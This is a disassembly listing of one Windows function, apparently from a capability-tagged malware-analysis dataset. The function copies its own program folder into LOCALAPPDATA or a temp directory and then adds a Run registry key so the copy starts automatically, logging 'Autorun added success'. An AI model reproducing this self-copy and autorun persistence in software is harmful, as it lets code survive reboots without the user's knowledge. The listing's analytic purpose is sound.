Function at 0x476940
Capabilities:
Check if file exists
Create directory
Enumerate files on windows
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57cefe
mov eax, dword fs:[0]
push eax
sub esp, 0x910
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x914], edx
mov esi, ecx
push 0x5ff1b0
lea eax, [ebp - 0x628]
push 0x104
push eax
call fcn.0055a3d6
add esp, 0xc
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
push 0x5ff1b0
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0055a3d6
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
xor eax, eax
mov dword [ebp - 0x6a8], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x6a4], 7
mov word [ebp - 0x6b8], ax
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4769f0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x6b8]
call fcn.0044b740
push 2
push 0x5e7f9c
lea ecx, [ebp - 0x6b8]
mov dword [ebp - 4], 0
call fcn.00452fa0
xor eax, eax
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 7
mov word [ebp - 0x640], ax
mov byte [ebp - 4], 1
cmp byte [0x5ff848], al
jne 0x476b0c
push str.LOCALAPPDATA
call fcn.00559786
mov edx, eax
add esp, 4
lea edi, [edx + 2]
nop word [eax + eax]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x476a70
sub edx, edi
lea ecx, [ebp - 0x640]
sar edx, 1
push edx
push eax
call fcn.0044b740
push 1
push 0x5e1f64
lea ecx, [ebp - 0x640]
call fcn.00452fa0
lea ecx, [ebp - 0x658]
call fcn.00476000
mov byte [ebp - 4], 2
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x476ab8
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x640]
call fcn.00452fa0
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x644]
cmp edx, 8
jb 0x476ba7
mov ecx, dword [ebp - 0x658]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x476b9d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x477334
jmp 0x476b9d
push str.SYSTEMDRIVE
call fcn.00559786
mov edx, eax
mov dword [ebp - 0x648], 0
mov ecx, edx
mov dword [ebp - 0x644], 7
add esp, 4
xor eax, eax
mov word [ebp - 0x658], ax
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x476b40
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x658]
call fcn.0044b740
push 5
push str._temp
lea ecx, [ebp - 0x658]
mov byte [ebp - 4], 3
call fcn.00452fa0
cmp dword [ebp - 0x644], 8
lea eax, [ebp - 0x658]
push dword [ebp - 0x648]
cmovae eax, dword [ebp - 0x658]
lea ecx, [ebp - 0x640]
push eax
call fcn.0044b740
jmp 0x476ac5
push edx
push ecx
call fcn.00536da7
add esp, 8
cmp dword [ebp - 0x62c], 8
lea eax, [ebp - 0x640]
cmovae eax, dword [ebp - 0x640]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.0055e967
add esp, 8
test eax, eax
jne 0x476bd6
xor bl, bl
jmp 0x47727d
cmp dword [ebp - 0x62c], 8
lea eax, [ebp - 0x640]
push 0
cmovae eax, dword [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [ebp - 0x62c], 8
lea ecx, [ebp - 0x640]
cmovae ecx, dword [ebp - 0x640]
call fcn.004710e0
lea eax, [ebp - 0x640]
cmp esi, eax
je 0x476c32
cmp dword [ebp - 0x62c], 8
mov ecx, esi
push dword [ebp - 0x630]
cmovae eax, dword [ebp - 0x640]
push eax
call fcn.0044b740
push 1
push 0x5e1f64
mov ecx, esi
call fcn.00452fa0
push 0x5f7ab8
lea ecx, [ebp - 0x6a0]
call fcn.0044d140
mov byte [ebp - 4], 4
lea eax, [ebp - 0x6a0]
cmp dword [ebp - 0x68c], 8
mov ecx, esi
push dword [ebp - 0x690]
cmovae eax, dword [ebp - 0x6a0]
push eax
call fcn.00452fa0
cmp dword [ebp - 0x6a4], 8
lea ecx, [ebp - 0x908]
lea eax, [ebp - 0x6b8]
cmovae eax, dword [ebp - 0x6b8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x910], eax
cmp eax, 0xffffffff
jne 0x476caa
xor bl, bl
jmp 0x477220
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov edi, dword [ebp - 0x910]
nop word [eax + eax]
push 0x5e15b0
lea eax, [ebp - 0x8dc]
push eax
call ebx
test eax, eax
je 0x476fb4
push 0x5e2774
lea eax, [ebp - 0x8dc]
push eax
call ebx
test eax, eax
je 0x476fb4
test dword [ebp - 0x908], 0x410
jne 0x476fb4
sub esp, 0x18
lea ecx, [ebp - 0x8dc]
mov edx, esp
mov dword [ebp - 0x918], esp
xor eax, eax
lea edi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x476d23
sub ecx, edi
lea eax, [ebp - 0x8dc]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0044b740
sub esp, 0x18
mov byte [ebp - 4], 5
mov edx, esp
lea ecx, [ebp - 0x218]
xor eax, eax
lea edi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x476d66
sub ecx, edi
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0044b740
lea ecx, [ebp - 0x658]
mov byte [ebp - 4], 4
call fcn.0045f8e0
add esp, 0x18
mov byte [ebp - 4], 6
mov edx, esp
mov dword [ebp - 0x91c], esp
xor eax, eax
lea ecx, [ebp - 0x8dc]
lea edi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x476dc0
sub ecx, edi
lea eax, [ebp - 0x8dc]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.0044b740
sub esp, 0x18
mov byte [ebp - 4], 7
lea eax, [ebp - 0x640]
mov ecx, esp
push eax
call fcn.0044d140
lea ecx, [ebp - 0x670]
mov byte [ebp - 4], 6
call fcn.0045f8e0
lea eax, [ebp - 0x628]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x8dc]
push eax
call fcn.0055e967
add esp, 0x38
test eax, eax
jne 0x476e43
lea eax, [ebp - 0x670]
cmp eax, esi
je 0x476e43
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x476e34
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x670]
push eax
call fcn.0044b740
cmp dword [ebp - 0x65c], 8
lea edx, [ebp - 0x670]
lea ecx, [ebp - 0x658]
cmovae edx, dword [ebp - 0x670]
cmp dword [ebp - 0x644], 8
push 0
cmovae ecx, dword [ebp - 0x658]
call fcn.0045dcf0
add esp, 4
test eax, eax
je 0x476eb2
cmp dword [ebp - 0x65c], 8
lea ecx, [ebp - 0x670]
lea eax, [ebp - 0x658]
cmovae ecx, dword [ebp - 0x670]
cmp dword [ebp - 0x644], 8
push ecx
cmovae eax, dword [ebp - 0x658]
push eax
push str.___OK_Copy:__s____s
call fcn.0046b090
add esp, 0xc
jmp 0x476ef0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x65c], 8
lea edx, [ebp - 0x670]
push eax
cmovae edx, dword [ebp - 0x670]
lea ecx, [ebp - 0x658]
cmp dword [ebp - 0x644], 8
push edx
cmovae ecx, dword [ebp - 0x658]
push ecx
push str.____Failed__Copy:__s____s._Code__lu.
call fcn.0046b090
add esp, 0x10
cmp dword [ebp - 0x65c], 8
lea ecx, [ebp - 0x670]
cmovae ecx, dword [ebp - 0x670]
call fcn.0045dbb0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x65c]
cmp edx, 8
jb 0x476f4d
mov ecx, dword [ebp - 0x670]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x476f43
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x477334
push edx
push ecx
call fcn.00536da7
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x644]
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 7
mov word [ebp - 0x670], ax
cmp edx, 8
jb 0x476fae
mov ecx, dword [ebp - 0x658]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x476fa4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x477334
push edx
push ecx
call fcn.00536da7
add esp, 8
mov edi, dword [ebp - 0x910]
lea eax, [ebp - 0x908]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x476cc0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp - 0x62c], 8
lea ecx, [ebp - 0x640]
cmovae ecx, dword [ebp - 0x640]
call fcn.0045dbb0
mov edx, str..exe
lea ecx, [ebp - 0x218]
call fcn.0047de10
mov edx, str..ini
lea ecx, [ebp - 0x218]
call fcn.0047de10
push 0x208
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.0054ec00
cmp dword [ebp - 0x68c], 8
lea eax, [ebp - 0x6a0]
cmovae eax, dword [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x420]
push 0x104
push eax
call fcn.0055a3d6
add esp, 0x18
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push 1
xor eax, eax
mov dword [ebp - 0x678], 0
push 0x5e3180
lea ecx, [ebp - 0x688]
mov dword [ebp - 0x674], 7
mov word [ebp - 0x688], ax
call fcn.0044b740
mov byte [ebp - 4], 9
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x477090
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x688]
push eax
call fcn.00452fa0
push 2
push 0x5e3184
lea ecx, [ebp - 0x688]
call fcn.00452fa0
mov edi, dword [ebp - 0x914]
mov ecx, edi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4770c0
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0x688]
call fcn.00452fa0
mov eax, dword [ebp - 0x678]
push 0
lea edi, [eax + eax]
lea eax, [ebp - 0x90c]
push eax
push 0
push 0x20106
push 0
xor eax, eax
cmp byte [0x5fdba3], al
push 0
push 0
setne al
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4771a1
cmp dword [ebp - 0x674], 8
lea eax, [ebp - 0x688]
push edi
cmovae eax, dword [ebp - 0x688]
push eax
push 1
push 0
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0x90c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x477185
cmp byte [0x5fdba3], 0
mov ecx, str.HKEY_CURRENT_USER
mov eax, str.HKEY_LOCAL_MACHINE
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
cmove eax, ecx
push eax
push str.___Autorun_added_success____s_s
call fcn.0046b090
add esp, 0xc
push dword [ebp - 0x90c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4771af
push eax
push str.____Failed_to_write_autorun_value._Code__lu.
call fcn.0046b090
add esp, 8
push dword [ebp - 0x90c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4771af
push eax
push str.____Failed_to_create_autorun_key._Code__lu.
call fcn.0046b090
add esp, 8
cmp dword [esi + 0x14], 8
jb 0x4771b7
mov esi, dword [esi]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edx, dword [ebp - 0x674]
test eax, eax
setne bl
cmp edx, 8
jb 0x477203
mov ecx, dword [ebp - 0x688]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4771f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x477334
push edx
push ecx
call fcn.00536da7
add esp, 8
xor eax, eax
mov dword [ebp - 0x678], 0
mov dword [ebp - 0x674], 7
mov word [ebp - 0x688], ax
mov edx, dword [ebp - 0x68c]
cmp edx, 8
jb 0x477260
mov ecx, dword [ebp - 0x6a0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x477256
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x477334
push edx
push ecx
call fcn.00536da7
add esp, 8
xor eax, eax
mov dword [ebp - 0x690], 0
mov dword [ebp - 0x68c], 7
mov word [ebp - 0x6a0], ax
mov edx, dword [ebp - 0x62c]
cmp edx, 8
jb 0x4772bd
mov ecx, dword [ebp - 0x640]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4772b3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x477334
push edx
push ecx
call fcn.00536da7
add esp, 8
mov edx, dword [ebp - 0x6a4]
xor eax, eax
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 7
mov word [ebp - 0x640], ax
cmp edx, 8
jb 0x477316
mov ecx, dword [ebp - 0x6b8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47730c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x477334
push edx
push ecx
call fcn.00536da7
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
call fcn.00552841
int3